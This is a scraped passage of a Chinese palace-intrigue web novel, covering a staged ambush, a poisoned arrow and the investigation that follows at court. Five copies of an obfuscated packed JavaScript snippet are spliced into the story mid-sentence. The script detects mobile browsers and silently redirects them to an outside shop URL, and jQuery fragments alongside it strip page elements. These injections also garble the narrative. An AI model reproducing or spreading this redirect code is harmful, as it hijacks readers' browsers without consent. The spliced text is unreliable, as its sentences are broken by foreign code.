说着,她又抬眼看了看那暗巷尽头,“那宅院的后门,便在那右侧的暗巷中。” 林魏然一敲手心:“所以陛下来时,李为的同伙便已埋伏在此,并与李为里应外合,让陛下等误以为李为往右边暗巷去了。可实则李为是往左边暗巷,并借着那些水缸上的布隐藏脚步声。” 小皇帝一下垂了眉眼,“是朕失察了。” 杨灵允拍了拍小皇帝的肩,便往左侧暗巷去:“如今当务之急,是查出李为与他的同伙到底往哪去了。” 她与林魏然擦肩而过,脚步似乎有些着急。 林魏然又看了眼横刀,眼底闪过一丝暗色,也跟着往左侧去。 左侧的暗巷中,除了散落的布上的脚印,就只有先前金吾卫搜查时留下的脚印。 左侧的暗巷不长,很快便到了尽头,边上的宅子也是蛛网密布,近期无人进出过。 “你在怀疑,李为的同伙是你一直在找的那个女孩吗?”林魏然跟在杨灵允身后,指尖擦过每一口水缸,边问道。 “你也瞧见了?”杨灵允以指尖敲着巷尽头的墙,闻言转身看他。 “那把横刀是朝廷制式,一般人拿不到。”林魏然缓缓开口,“可为何就随意地丢弃了?” “我怎么会知道?”杨灵允淡淡道,“或许是忙着逃命,再背着把刀太过显眼。” 说话间,她已检查完了巷子尽头的墙,没发现什么蹊跷,视线便落在了那些水缸上。 林魏然神色却有些不对劲,“公主,下官以为,此地不安全,应尽早离开。” “那你先带陛下离开,”杨灵允正忙着检查水缸,随口道,“留几个金吾卫在我这就行了。” “公主!”林魏然上前,按住了杨灵允的手,难得焦躁,“既出现一把横刀,焉知背后还藏着多少把?” 杨灵允抬眼看林魏然,面无表情:“放手。我不想再与你说这事。” 林魏然气急,反手也掀开了一口水缸:“行,你要查李为去哪了是吧?我记得当初太子表哥说过,乌山有个村中暗道密布,我帮你一起查出他们往哪去了,你能不能跟我回宫?” 杨灵允难得见他这副恼怒的模样,忍不住多看了一眼。 但不知是因为心里有气,还是天色太暗,他的侧脸看着格外冷漠肃杀。 她看着林魏然动作粗暴地掀开一个个水缸查看,又抬眼看了看天色——分明才午后,却是黑云密布,阴风阵阵,一副山雨欲来风满楼的模样。 “要不你还是先带陛下回宫吧。”杨灵允盘算了一番,又忍不住道。 林魏然正弯腰检查一个水缸,闻言冷笑一声:“你也知道不安全?” 他语气放肆,没有丝毫君臣间的礼仪。 杨灵允撇撇嘴,也懒得再多说什么,转身想让金吾卫带小皇帝先回去。 但林魏然又忽然出声:“找到了。” 杨灵允连忙回头,快步上前,就见林魏然跟前的那口水缸底部连着暗道,水缸周边还留着新鲜的痕迹。 “这是……通往哪的?”杨灵允两手撑在缸口边,倾身向前,似乎还想下去查看一番。 林魏然连忙拽住她,“这缸口狭窄,最多就只容得下小孩子通过,就是你也不可能下得去。” 杨灵允比划着,有些跃跃欲试:“未必,我瞧这洞口还挺大。” 只是她话音刚落,小皇帝的身影忽然从转角处冒出来:“姐姐,你与太傅可发现什么了?” 杨灵允以极快的速度用布将洞口盖住,对小皇帝笑道:“没什么,李为大约是轻功很好,翻墙跑了。” 小皇帝神色一下变得沮丧:“是吗?” 林魏然趁机撇了眼杨灵允,眼神中满是——你也知道不安全,不想让陛下涉险,却还要自己涉险的不满。 杨灵允视若无睹,上前半蹲下来,捏了捏小皇帝的脸,安抚道:“没事的陛下,不过如今既然这人也逃了,陛下不如先回宫吧。这郊外到底还是不安全。” 小皇帝点点头,拉着杨灵允道:“那姐姐我们一起走。” 只是他拉了拉,却没拉动。 杨灵允面上闪过难色,又轻声道:“陛下,我还有些事要留在五灵村,让林太傅和金吾卫先护送陛下回去可好?” 她的声音伴着呼啸的风声卷过众人耳中。 但呼啸的风声中似还伴有隐约的刀剑之音。 杨灵允和林魏然同时变了脸色。 金吾卫忽然也高声喊道:“保护公主,保护陛下!” 三人离开这条窄小的暗巷,就看见一群手持利刃的贼匪缓缓靠近。 “这左右巷子都有暗道,别让他们堵了巷口!”林魏然怒喝道,同时拔刀护在了杨灵允身前。 杨灵允眼睛微眯,厉喝道:“杀出去!” 数名金吾卫率先冲在前面,还有几名和林魏然一起护着杨灵允与小皇帝离开暗巷,到了村子中央。 村子不大,四面八方却都有人涌现出来,金吾卫等围成一个圈,将杨灵允和小皇帝护在中央。 刀剑相交之音震耳欲聋,鲜血不可避免地溅在了保护圈中央的人身上。 恍惚间,杨灵允还以为自己还身处一年前的宫变之夜。 ——各路人马厮杀不休,惨叫声不绝于耳,血流在宫中光滑的大理石地面上,放眼看去,残肢随处可见。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924110|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但被小皇帝紧紧攥住的手又将她的思绪唤了回来。 今日远没有宫变那夜来得血.腥,围杀之人也不过是一群难成气候的流民。 但杨灵允转头看见小皇帝分明害怕,却还是牢牢拉着她的手,忽然就有些后悔没有早点让小皇帝回宫,让他小小年纪就见此情形,是她之过。 有个金吾卫在厮杀中啐了一口:“是没什么功夫,但哪来这么多人。” 另一边厮杀的林魏然惦记着抓几个活口回去审问,下手不重,都没往致命处打。 而这些人被打飞、踢飞、砍伤了手脚,却仿佛不知道痛一般,拖着流血的伤处继续冲上前来,似乎不杀了保护圈中的人不罢休。 场面渐渐变得血.腥。 杨灵允见状,皱了皱眉,厉喝道:“不必留活口。” “是!”所有金吾卫得了命令,眼睛一亮,下手总算没了顾忌。 人终于在慢慢减少。 与此同时,不远处又传来策马之音,听声音,不像是这伙徒有蛮力的贼寇,倒像是训练有素的士兵。 金吾卫和林魏然同时沉下了脸。 但出乎所有人意料的,村口出现的是林魏然的老熟人——一年前宫变之夜,他奉命带兵入宫清君侧的那一队东南军。 他在挥刀砍向一个人的手臂间回头看了眼杨灵允。 杨灵允脸上沾着血,还有闲心冲他弯了弯唇。 士兵练的都是杀敌之术,下的都是死手,加入战局之后,天平极快地往他们这边倾斜。 贼寇已经所剩无几了。但个个杀红了眼一般,没有逃跑,没有退缩,只要还有一口气在,就继续往前冲。 这实在有些怪。 杨灵允和林魏然同时在心底泛起了嘀咕——像是被下了蛊一般。 但杨灵允看见不远处站着的一个人影时,便抛开了这些想法——最后一场戏开始了,她得好好开演。 一只利箭以刁钻的角度射往杨灵允所在的方向。 杨灵允一手盖住了小皇帝的眼睛,一边不动声色地移动了几步。 但千钧一发之际,林魏然余光瞥见那支射来的箭,挥刀就要砍下。 情急之下,杨灵允来不及多想,用空着的另一只手推开了他。 箭还是如她所愿地射中了她的肩部。 “宣和!” 林魏然陡然慌了神,扑上来抱住杨灵允,沾了满手血腥。 “抓到的人……不要动。”杨灵允只觉得剧烈的疼痛自伤处蔓延开来,意识也瞬间变得混沌,强撑着吩咐完这句话,便觉得气血翻涌,难以呼吸。 她心底忽然觉得有些不对劲——明明算好了角度,只是皮肉伤,怎么会这般严重? 只是这疑问还未解答,杨灵允已经没了意识。 29. 第 29 章 小皇帝觉得林太傅最近变得有些不一样。 杨灵允中箭后昏迷不醒,回宫后魏连望说她受的那一箭本无大碍,只是箭头上淬了毒,因而昏迷不醒。 如今整个太医院都在加紧配置解药。 但林魏然只在回宫那日守了半日杨灵允,便再没来看过杨灵允了。 他照常上朝理事,进出御书房教导小皇帝,没再问过杨灵允半句。 不止小皇帝,连刑部的同僚都发现——他们的顶头上司,林尚书林大人,好像有些不对劲。 不知怎的,长公主受伤昏迷一事极快地被传扬出去,引得朝野上下人心浮动。 林魏然作为刑部尚书,奉命调查此事。 他没废多大力气就带着刑部的人抓到了那日埋伏的弓箭手——竟是金吾卫的人。 为了带走这名金吾卫,刑部众人还有幸见识了一场林尚书与闻大人之间的打斗。 两位身居高位的大官下手狠辣,没有留丝毫情面,若不是二人手中无刀剑,金吾卫大营怕是要见血了。 也是这一回,众人才发现——原来看着温文有礼的林尚书,打起架也这么狠。 最终还是杨言匆匆赶来,让林魏然带走了人。 只是抓了人,下了狱,除了用刑什么手段都使上了,这金吾卫始终一言不发。 幽暗的刑部牢狱中,刑部侍郎王清安小心地瞥了眼面无表情的上司,斟酌着言语建议道:“林尚书,此人狡诈,怕是要用刑才肯招。” 他见了今日林魏然在金吾卫大营和闻九大打出手,心底愈发确定了自己的猜测——自临安长公主昏迷回宫后,林尚书就变得有些不太对劲。 表面上看,他好像还在正常地处理公务,但整个人就仿佛汛期之河,随时可能爆发。 ——譬如今日在金吾卫大营与闻将军的大打出手。 “用刑?”林魏然面无表情,“用什么刑?没听见杨言说了吗?人我可以带走,但金吾卫乃天子近臣,就算要用刑处罚,也得公主和陛下同意。” 王清安看了眼牢狱之内的人,不解道:“可金吾卫那么多人,此人不过是一个普通士兵,公主和陛下想必连他叫什么都不知道。” 他的声音回荡在幽深的狱中。 林魏然却觉得耳边声音渐渐模糊。 闻九的阻拦和杨言的到来更加应证了他心底的猜测——杨灵允就是故意的。 指尖嵌进手心,掌心处传来细微的痛意,才让林魏然维持住摇摇欲坠的理智。 他抬脚靠近,粗暴地将这金吾卫掼到墙上,砸出一声闷响。 与他动作截然相反的是他平静的语调:“你的箭上有毒,毒哪来的?” 始终装死的金吾卫终于有些反应,陡然抬头,瞳孔骤缩。 继而他又极快地垂眸,继续装死。 “尚书……?”王清安见林魏然终于动手,已在牢狱门外已经摩拳擦掌着准备用刑。 林魏然抬手将人扔了出去,平静道:“行了,将人关在这,没我的允许,谁也不准进来,更不准对他用刑。” 王清安脸上的跃跃欲试瞬间凝固,又露出几分担忧:“可如今公主昏迷不醒,陛下着刑部督察此事。若我们一直没能给个交代……” 林魏然终于撑不起平静的面孔,露出几分咬牙切齿之色:“交代?我还想向她要个交代呢。” “她?”王清安不解,“林尚书所言何人?” 林魏然深吸一口气,压下心底所有乱七八糟的情绪,又恢复冷静,“没什么,交代我会给陛下的,你不必担心。你先带着仵作去查验五灵村的那些尸首。” 等王清安领命离开后,林魏然站在牢狱外,下意识抬手看了看手心——先前的血早就洗净了,可他却觉得始终手心濡湿,像是站着满手粘腻的鲜血。 “宣和,”他往太极宫的方向遥遥望去,似乎是像嘲讽谁,但声音中却带着细微的颤抖,“看来你也没想到,精心布置的苦肉计中会多了一种莫名其妙的毒吧?” …… “林尚书,查清楚了。那些流民身上都有服用过寒食的痕迹。这种药物最先出现在东南,但下官记得,数月前郑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976310|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将军上奏已将东南各城中售卖寒食之人抓了起来,并严禁这种东西出售。” 王清安皱眉补充道,“只是不知为何竟出现在了长安。” “寒食?魏连望说那箭上涂的毒中有大量五味子和硫黄,”林魏然脸色愈发难看,“才使宣和昏迷不醒。” 他后半句话说得轻,王清安没听清楚,又道:“制作寒食最不可少的便是五味子和硫黄。且寒食有上瘾之效,服用越久便越难戒掉。服用过量还可使人力气大增,五感尽失。” “你拿着我的手信去兵部,让兵部的人守好大长公主府,若有可疑之人进出,立即来报。” “是,”王清安领了命,走了几步又忍不住道,“林尚书,这寒食一出现,郑将军的副使便入了长安,这其中会不会……” 林魏然掐了掐眉心,强打起精神道:“若真是郑虔授意他的副使将寒食引进长安,之前又何必上奏寒食有害一事?岂不自找麻烦?” 等王清安离开后,刑部的公廨内又陡然静了下来。 如今天刚破晓,当值的都还没来,只有外面巡逻的守卫。 林魏然疲惫地合上眼,但片刻之后又猛然睁眼,片刻之间,额上冒出冷汗。 如今一闭眼就是杨灵允在自己怀里没了意识的样子,难以入眠。 杨灵允昏迷了多久,他便熬了多久。 …… 这是杨灵允昏迷的第三日,今日早朝,注定不太平。 御史台的谢御史先跳出来,上奏说长公主昏迷,陛下年幼,为今之计还需尽早召安王入京,以安人心。 他话音刚落,便又不少人附和。 云厉、宁安侯、王正安,这三位当朝宰相站在最前面,闻言神色未变,动也没动一下。 林魏然皱眉,刚想出声说些什么,小皇帝却缓缓开口—— “诸位爱卿都觉得如此?” 朝中竟有将近半数之人附和。 小皇帝瞬间沉了脸色,一拍桌子厉喝道:“谢念不尊先帝,以下犯上,来人,给朕拉出去,闭门思过三个月。” 30. 第 30 章 在众人还未反应过来之时,杨言已经极快地示意几名太监把最先出头的这位谢御史捂上嘴,拉了出去。 直到谢念被拖出堂上,阶下众人才纷纷下跪,黑压压一片,齐齐告罪道:“还请陛下息怒。” 只是告罪的话刚说完,御史台有又一人跳了出来:“谢御史所言不无道理,不知是何处冒犯了先帝?” 小皇帝冷笑道:“一年前,先帝遗诏中写得清清楚楚,朕登基,着临安公主为长公主辅政。可曾提过安王?谢念说召安王入京以安民心,他究竟是想说朕不能安民心,还是当朕这个皇帝死了?” 他看着眼前的御史,微微眯了眯眼:“莫不是云御史想与谢御史一同作伴?” 冠冕上的旒轻轻晃动,小皇帝的眼睛被五色玉珠遮住了些许。 但这位云御史硬着头皮想抬头反驳时,却不自觉打了一个寒颤——他仿佛又感受到八年前那位东宫太子的威压。 “臣……”云御史的声音忽然有些干涩,“不敢。” 小皇帝满意地弯了弯唇,又环视了一圈阶下众人,缓缓道:“一次无心之过,朕可以原谅。但若再有第二次,便提着脑袋下去向先帝请罪!” …… 下了朝后,云府内暗潮涌动。 云厉坐在金玉满堂的书房内,神色阴冷:“杨灵允到底许了郑虔什么,竟能让郑虔两次不顾风险地出兵帮她。” 管家微弓着背,小心翼翼地上前:“老爷,如今长公主没死……大长公主府又被姓林的围得像铁桶一般,安王不日便要入京了,我们还要继续动手吗?” “动手?”云厉烦躁地摔了一个茶盏,“动什么手?让你看个小孩也看不好。如今安王更是连一封回信都没有,我如何动手?” 但下一刻,云厉眯了眯眼,像是想到什么好主意,“去把李小侯爷请到云府,就说我有办法救他母亲。” …… 御书房内,小皇帝坐在龙椅上,看着面前站的林魏然,久久没有说话。 林魏然忍不住了,率先打破沉寂,“敢问陛下召臣来,所为何事?” 小皇帝抿抿唇,忽然起身道:“姐姐醒了。” 林魏然面上一闪而过的惊喜是难以掩饰的,“太医如何说?” 小皇帝背着手,慢慢从桌后绕出来,又换了个话题:“太傅以为,朕今日在朝堂之上所言如何?” 林魏然强压着心底想去看杨灵允的迫切,沉声道:“谢念在此时提起安王,便是看长公主昏迷不醒,觉得安王有机会上位,想借机讨好安王。有了陛下这一番震慑,想来是不会再有这种歪心思了。” 小皇帝意味不明地笑了一声:“你不用哄朕,朕知道,在他们眼中朕不过一个空有名头的皇帝,朕的话,又有几分震慑?” “陛下何出此言,”林魏然连忙跪下,动了动喉咙才道,“陛下是天子,天命所归,何人敢不从?” 小皇帝定定地看了他许久,才淡道:“起来吧。” “谢陛下。” “林太傅,”小皇帝尚未长开,但眉眼间已有了杨氏皇族的风范,“如今很多人跟朕说,说临安长公主权势太盛,可趁此机会拔除她的势力,你以为如何?” 林魏然一下顿在原地——他知道自己迟早要面对这样的问题,却没想到这问题来得这么早。 “臣以为,如今不宜再生事端。目前来看,临安长公主并无逾越之心,甚至入城的也是东南军而非她母族塞北军。” 林魏然狠狠阖了阖眼,垂在一边的手也不自觉地握紧了,然后极快地挂上一副冷静的面孔,“春闱将至,郑虔将军也即将携家眷入京,臣以为,陛下可趁此机会物色可用之才。” 小皇帝微微眯起了眼,片刻后笑开:“太傅不必紧张,朕自然是信你的。去看看姐姐吧,她昨夜才醒,太医说她还不宜走动。” 等林魏然离开后,小皇帝又缓缓坐回了龙椅上,脱力般靠了下来。 这张龙椅一点也不好坐。 他缓缓阖上了眼——姐姐,你就这样想让我早点临政,然后一走了之吗? 【昨夜子丑交接之时,杨灵允刚醒,守在一边的幼荷和小皇帝便也惊醒过来。 “姐姐!”小皇帝喜出望外,“我去叫太医。” 杨灵允拉住了小皇帝的衣裳,用眼神示意幼荷先出去。 “姐姐是有什么要与我说的吗?”小皇帝端了杯水过来,“先喝点水吧。” 杨灵允接过水一饮而尽,终于能开口说话了。 但她开口的第一句,就是小皇帝最不想听的:“陛下,如今我昏迷,朝堂人心不稳,你可借机立威。” “姐姐!”小皇帝气恼,“你这说的什么话?” 杨灵允强撑着起来,很轻地笑了下:“陛下,这是很好的机会,也是我们先前就说好的……” “可你这次是真的命悬一线!”小皇帝不自觉抬高了嗓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984465|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音怒道。 “我这不是还好好的吗?”杨灵允轻轻揉了揉他的头顶,轻声道,“陛下,再这样下去,你我就真的身不由己了,傅氏将会成为第二个云氏。” “你必须要趁这个机会立威。” 她加重了最后一句话。 小皇帝一下垂了头,低落道:“可我从没疑心过你。” “我知道,”杨灵允轻声笑道,唤了一声他的小名,又道,“但如今朝中人人皆知我掌着权,身后还有傅氏。若你不乘机立威,日后亲政只会更困难。” “春闱将至,我会在春闱之前把云氏嫡系的官员全部清理掉。春闱过后,你便可开始培养自己的人手了。” 小皇帝看着杨灵允,她唇色寡淡,整张脸只有眉眼间的墨色,衬得她面孔愈发苍白。 她该好好养着的,可她醒来第一件事,却是在教他如何对付她。 栖暖殿内热气充足,热得他似乎有些喘不过气来。失神间他又想起曾经在东宫之外偷听到的话—— “哥,我助你登基,你放我离开。” …… 最终,小皇帝慢慢阖了眼,轻声道:“我知道了,姐姐。不过林太傅和闻大人呢?” “林魏然会站在你这边的。”杨灵允又笑了笑,毫不在乎的语气像是在说一个无关紧要的人。 “至于闻九,清算云氏的时候还需要他,先把他留给我,可好?” 小皇帝点点头,又弯唇,亲昵地蹭了蹭她没受伤的那侧手臂:“姐姐,无论如何,我永远不会疑心你。” 那夜杨灵允一身鲜血地推开废宫大门,带着满宫的将士对他说恭祝陛下登基。 他这辈子都忘不掉。他知道——她从来都不想要皇位,她只想要自由。】 林魏然离开御书房没几步,忽然反应过来小皇帝今夜的反常的表现是为何——他在试探自己。 杨灵允重伤昏迷,陛下在朝堂上立威。 但按照他对陛下的了解,陛下极其看重宣和的安危,也极其信赖甚至依赖宣和,在这种时候立威试探未免有些奇怪。 再加上陛下说宣和昨夜就醒了。 所以……宣和定知晓一切——也是她教陛下趁机立威,趁机收拢权力。 而陛下先前御书房的那一番试探,并不只是在试探他是否忠心,更在试探他是否会对宣和不利! 若他也说出可借机除去宣和之类的话,今日怕是见不着她了。 31. 第 31 章 时辰不早,也快到用午膳的时候了,但栖暖殿外只有杨言一人守着,那个深受杨灵允信任的侍女幼荷也不见。 杨言像是早知道林魏然会来,恭敬地引他进门:“林太傅请,公主已在等着您了。” 正殿的门开了又关上。 这是林魏然第一次到杨灵允的寝宫中。 他眼神投向半倚在榻上的杨灵允,许久没有说话。 杨灵允已经梳洗过了,还特意擦了些口脂让自己看上去没那么憔悴。 “你没对抓到的那金吾卫用刑吧?”她见林魏然沉默,先开了口。 林魏然扯了扯嘴角,轻嘲道:“有杨公公大驾光临,我岂敢抗旨?” 杨灵允蹙眉道:“何必这般阴阳怪气?这事我又没瞒着你。” 林魏然气笑了。 他抬脚逼近,日光将他的身影投在杨灵允身上,平添几分压迫感:“是,你是没瞒着我,你只是一句话都不告诉我,自己就做了决断。” 这话其实很放肆。 杨灵允是长公主,林魏然只是个未承爵的世子,最大的官职也不过是个从一品太傅。从身份来看,杨灵允才是上位者,上位者做事,难道还要知会一声下面的人吗? 但杨灵允抬眼看他时,抿了抿唇,忽地就放软了声音:“我本来算得好好的,只要我受伤,一可借机对大长公主发难,还可以将这次刺杀一并算到云氏头上,日后也好清算云氏。二还可以给陛下立威震慑的机会。一石二鸟,这伤受得值。” 她又伸手拉了拉林魏然的衣袖,想让他先坐下。 但这事在林魏然心中没那么容易轻轻揭过。 他侧过头不去看杨灵允,硬着声音,想嘲讽她:“只是没想到那箭上还淬了毒吧?” 杨灵允见林魏然油盐不进的样子,加之伤口还在隐隐作痛,也不想继续自讨没趣,索性换了个话题:“你查出这毒到底哪来的了吗?我选的那金吾卫不应该会背叛我才是。” 这话戳中了林魏然的痛处。 他定定地看着杨灵允,嘴角浮出一抹冷笑:“是,你选的人都不会背叛你。我这个立场不明的人当然不值得你相信。” “这案子,还请公主交由别人查吧。” 他拂袖就想离开。 “林魏然!”他这一番夹棒带枪的话也惹恼了杨灵允,“我若不相信你,先前就不会召你入宫!” 林魏然停了脚步,“什么意思?” 杨灵允又抿了抿唇,一时不知该怎么解释。 “意思就是她这出苦肉计本来在正月十二那日就该开始了,”幼荷未经通报,端着药碗直接进来,“原本她信誓旦旦,说云婉会为了云氏下毒害她,所以将计就计,召你入宫查案。我与陛下都问过她,说林太傅真的能查出结果吗?她说若你都查不出来,世上便没有人能查出来了。” “哦对,我还问过,就算你真查出了真凶,会为此得罪云氏吗?她说你一定会,说得可坚定了。” 幼荷这一番话语速极快,一连串密密麻麻的话下来不带一个气口,都没给杨灵允打断的空隙。 又或者是杨灵允也不想打断。 林魏然站在原地,喉结不自觉地滚动了好几下,始终没说出一句话。 幼荷见状,索性将药碗塞进他手中:“魏院判说了,每日这个时辰都要喝药,清余毒。” 说完,她冲着杨灵允挤了挤眼,转身就走,还贴心地关上了门。 “我信那金吾卫不会背叛我,是因为他有家眷在宫中。”杨灵允掐了掐眉心,解释了一句,见林魏然依旧端着药碗一动不动,又道“你若真不想查这案子,转到大理寺那边也行。” 林魏然垂了眼,沉默了好一会才将药碗端到杨灵允跟前,轻声道:“我是生气你不把自己的身体当回事,我只是……有些害怕。” 杨灵允闻言,挑眉轻轻笑了下:“别担心,我很惜命的。而且我命硬得很,阎王都不想收呢。” “别生气了,”杨灵允抬手抚过林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003580|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魏然的眉心,小声道,“我伤口真的很疼,容时哥哥。” 林魏然下意识动了动喉咙,然后掩饰般低头搅了搅碗中乌黑的药——“先吃药。” 他舀起一勺递到杨灵允嘴边。 杨灵允无声地弯了弯嘴角,启唇咽下。 照平常,杨灵允一口气便能喝完药,不过今天这碗药喝了格外久。 久到外面又开始下起了淅淅沥沥的小雨。 雨敲打着窗棂,发出细碎的声音。外面天色也并不暗沉,还有亮光从窗纸间透进来,满屋落着柔和的微光。 杨灵允合眸倚在靠枕上,忽然觉得口中的药似乎还带着点甘甜的回味。 林魏然放下已经空了的药碗,又上前拨了拨碳炉,想让屋子里再暖和些。 做完了这一切,他又回头看杨灵允,嘴角挂着连他自己都没意识到的温柔笑意。 仿佛他们已经是一对神仙眷侣,这只不过是他们生活中最寻常不过的一幕。 若八年前的那场赐婚顺利……林魏然又忍不住在想,若当初表哥没有被废,是不是,他真的有机会和宣和携手花前月下,做一对人人艳羡的眷侣? 只是他的妄想很快便被一阵急促的敲门声打断—— 是杨言。 林魏然小心翼翼地关好门,才皱眉问道:“何事?公主已经歇下了。” 杨言一脸凝重:“林太傅,宣德门那边有您的手下消息,说,大长公主自戕了。” “什么?”林魏然脸色骤变,“我即刻就去。” 他急匆匆地就想离开。 只是刚没走两步,门又被打开了,披着大氅的杨灵允站在门口:“等等,我和你一起去。” 林魏然皱眉:“可你的身子……” “没事,”杨灵允摆了摆手,“我让幼荷跟着我,等要吃药的时候再回宫便是。” “我前脚刚把李迎南请进宫,后脚她就自戕了?”杨灵允说着冷笑一声,“怎么可能会有这么巧的事。” 32. 第 32 章 公主府外,刑部的人围了一整圈,惹得不少百姓纷纷驻足观看。 见林魏然身边还跟着两个陌生女子,不少人面露诧异,小声议论。 还是王清安眼尖,认出了杨灵允的面貌,连忙下跪行礼:“微臣参见公主。” “公主?” 刑部的人匆忙跟着王清安一起行礼。 “行了都起来,”杨灵允摆摆手,“进去说。” “大长公主乃是上吊自尽。”刑部的一位老仵作拱手上前,跟杨灵允和林魏然汇报道。 一名刑部官员也道:“陛下与公主殿下在乌山遇刺,大长公主生怕您醒后怪罪,自戕了也是有可能的。” 杨灵允神色不愈,刚想说话,冷风灌进来,掩嘴咳了几声。 林魏然连忙递过一杯热茶,又问底下负责看守公主府的人:“自我回来,公主府可曾出入可疑之人?” 守卫小心翼翼地看了眼杨灵允,又连忙低头:“除了负责采买的人进出,就只有……一个宫中太监来过。” 林魏然转头看杨灵允,悄声问道:“你把李迎南在你手上的消息告诉了大长公主?” 杨灵允有些烦躁地揪着大氅边上的绒毛,“是,但我也让人告诉她,若她配合我清算云氏,我会保她与李小侯爷的命。” “所以她不可能在这种时候自戕。”杨灵允抬眼看向那个仵作,追问道,“你确定她是自戕?” 老仵作在刑部干了一辈子,自恃劳苦功高,面对杨灵允的质疑脸色就有些不好看,硬邦邦道:“老夫是刑部最好的仵作,公主殿下是怀疑老夫作假吗?” 杨灵允烦躁地掐了掐眉心,懒得与老仵作多话:“幼荷,去宫中把薛清请出来。” “薛清?”林魏然问道,“你还是怀疑有人杀了大长公主?” “不是怀疑,”杨灵允笃定,“我那姑母的性子我最清楚,贪图权势富贵,又贪生怕死,我已经给她抛出了橄榄枝,她断不可能在这种时候自戕。” 林魏然轻叹一声,起身安抚了下面脸色难看的老仵作,又清了场,吩咐各干各的去。 “你真的变了不少,连官场上的这套人情世故都学了个十成十。”杨灵允拉了拉大氅,挑眉笑道。 林魏然又替她续了杯热茶,“只是发现换个说话方式,有时做事能方便很多。我这个空降的刑部尚书总不能一点人心都没有吧。” “宣和,”他又轻声道,“其实只要你动作没那般激进,也会得到不少人心。” 杨灵允不甚在意,“我不需要人心。” “那你就看着他们胡言乱语?”林魏然轻轻皱眉,“你瞧瞧那些民间言语,都把你说成什么样了?” 杨灵允不以为意,甚至还饶有兴致地想看看那些话本。 自是被林魏然拒绝了。 那些无礼之词,自然不能给她看。 杨灵允叹口气:“容时哥哥,我都不在意,你在意什么?” “我……”林魏然一时语塞。 他只是觉得,杨灵允有时或许手段激进,但那些话说得实在太难听了。 心中有些不平。 “罢了,”杨灵允耸肩笑道,“去公主府转一圈吧,兴许能发现些线索呢。” 还未出这个门,又有人匆匆来报:“林尚书不好了,李老跟宫中来的人吵起来了!” 公主府的寝殿外,李老,也就是老仵作拦在门口,气势汹汹地盯着薛清和幼荷,掷地有声:“女子验尸,成何体统?” “你……”幼荷气急,拔剑就想让他滚一边去。 还是薛清拦住了她,淡道:“我乃名正言顺的太医,你阻拦我验尸,莫不是里面那具尸体真有问题?” “放肆,”李老旁边一人呵斥道,“那可是大长公主,你一个小小太医,竟敢对大长公主不敬?” 薛清也有些烦了,对幼荷道:“幼荷姑姑,不是我不验,是这人不让我验,还请您转告公主一声。” “我让她来验尸,”杨灵允缓步而来,神色冷漠,“尔等是想抗旨吗?” 她冷下脸时,五官多了不少冷冽之意,让旁人忍不住俯首称臣。 刑部的人纷纷垂头道不敢,唯有李老还梗着脖子,硬声道:“从古至今,就没有女子验尸的道理。她小小女子,会什么?” 杨灵允走到幼荷和薛清面前,看着李老忽然就笑了一声,“本宫看李老这言,是在指桑骂槐啊。” 李老动了动喉咙,还是不肯退让:“臣只是就事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017452|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论事。” 杨灵允骤然沉下脸,厉声道:“你算什么东西?也配和本宫就事论事?让开!” 李老死死守着门,又道:“公主若想臣让开,需答应臣一个条件。若她验不出什么,就让她滚出太医院!” 杨灵允看着他,忽觉匪夷所思——一个小小仵作,哪来的胆子跟她叫板? 